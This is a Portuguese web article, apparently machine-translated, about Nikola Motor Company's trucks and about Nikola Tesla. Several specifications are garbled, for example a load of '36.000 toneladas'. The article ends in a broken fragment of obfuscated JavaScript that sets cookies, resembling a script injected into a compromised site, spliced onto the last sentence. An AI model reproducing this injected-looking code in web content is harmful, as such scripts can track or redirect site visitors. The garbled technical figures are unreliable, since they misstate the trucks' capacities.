Caminhões Nikola

Caminhões Nikola – A Nikola Motor Company é uma empresa americana de design de caminhões híbridos com sede em Salt Lake City, Utah, fundada em 2014. A empresa recebeu o nome do inventor sérvio-americano Nikola Tesla.

O nome Nikola Tesla não é o nome do criador da Nikola Motor Company, mas sim uma homenagem a de fato um importante inventor nascido no século XIX e falecido em sete de janeiro de 1943. Para entender melhor a história da Nikola Motor Company, antes de entrar de vez nos Caminhões Nikola e seus modelos, vamos falar um pouco mais sobre quem foi Nikola Tesla, o nome por trás dessa empresa.

Nikola Tesla

Nikola Tesla (10 de julho de 1856 a 7 de janeiro de 1943) foi um engenheiro conhecido por projetar o sistema elétrico de corrente alternada (CA), que ainda é o sistema elétrico predominante usado em todo o mundo atualmente. Ele também criou o “Tesla Coil”, que ainda é usado em tecnologia de rádio. Nascido no que é hoje a Croácia, Tesla veio para os Estados Unidos em 1884 e trabalhou brevemente com Thomas Edison antes dos dois caminhos separados. Ele vendeu vários direitos de patente, incluindo aqueles para sua máquina AC, a George Westinghouse.

Caminhões Nikola: modelos

Nikola Zero

O modelo protótipo, o Nikola Zero, é um utilitário Task Vehicle, com 72 ou 107 kWh de bateria. Tem 555 hp combinados de um motor em cada roda, pesa 3.500-lb e usa a mesma suspensão de 14.5 ″ -clearance que o Ford Raptor. Foi cindido em um produto powersports, na divisão Nikola Powersports.

Nikola One

A empresa projetou um caminhão Classe 8 elétrico chamado Nikola One, com uma bateria EV de 320 kWh fornecendo 6 motores elétricos de tração com torque combinado de 1.000 hp (750 kW) e 2.000 lb⋅ft (2.700 N⋅m) limitados por software ( quase 86.000 lb ft (117.000 Nm) após a redução de marcha), inspirada em locomotivas elétricas. Isso é suficiente para manter uma velocidade de 105 km / h com uma carga completa de 36.000 toneladas 6% de grau. A fonte de energia é de 300 kW células de combustível de hidrogênio consumindo 4,6 kg (10 lb) H2 por 100 km (62 mi) de tanques com 100 kg (220 lb) de hidrogênio, dando um alcance de 1.200 mi (1.900 km). O consumo é equivalente a 15,4 mpg de diesel. O caminhão possui freios regenerativos para complementar os freios a disco tradicionais, diminuindo a distância de parada e o uso de combustível. A versão de hidrogênio foi revelada em dezembro de 2016 e deverá estar disponível em 2019. Em alguns mercados, pode ser usado gás natural comprimido para alimentar um gerador de turbina a gás a bordo.

Os primeiros 5 mil caminhões serão construídos pela Fitzgerald em Byrdstown, Tennessee; a empresa é conhecida por seus “caminhões planadores”, que são construídos sem motores.

Em 1 de maio de 2018 Nikola Motor Company entrou com uma ação contra a Tesla buscando US $ 2 bilhões em danos alegando que o Tesla Semi infringe várias patentes Nikola foram concedidas sobre o projeto do Nikola One. Tesla respondeu que o processo é sem mérito.

Em 3 de maio de 2018, a Anheuser-Busch encomendou até 800 versões de caminhões movidos a hidrogênio e Nikola afirma que os caminhões começarão a ser entregues em 2020.

Nikola Two

A empresa anunciou planos para construir um táxi diurno movido a hidrogênio chamado Nikola Two, com estimativas de potência e alcance similares às do Nikola One.

Os dados técnicos citados acima são afirmações que a empresa fez, mas ainda a serem verificadas por testes independentes.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]